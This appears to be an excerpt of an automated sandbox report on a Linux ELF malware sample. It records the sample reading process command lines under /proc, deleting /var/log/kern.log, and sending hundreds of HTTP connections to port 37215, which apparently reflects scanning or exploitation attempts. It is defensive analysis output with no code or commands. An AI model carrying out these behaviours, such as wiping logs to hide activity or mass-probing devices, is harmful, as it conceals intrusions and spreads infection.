Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/263/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/264/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/265/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/145/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/266/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/267/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/268/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/3303/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/269/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/1486/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/1806/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/3668/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/3440/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/270/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes system log files

Source: /tmp/WIwTo1UTMq.elf (PID: 5531)

Log files deleted: /var/log/kern.log

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 53840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51766 -> 37215
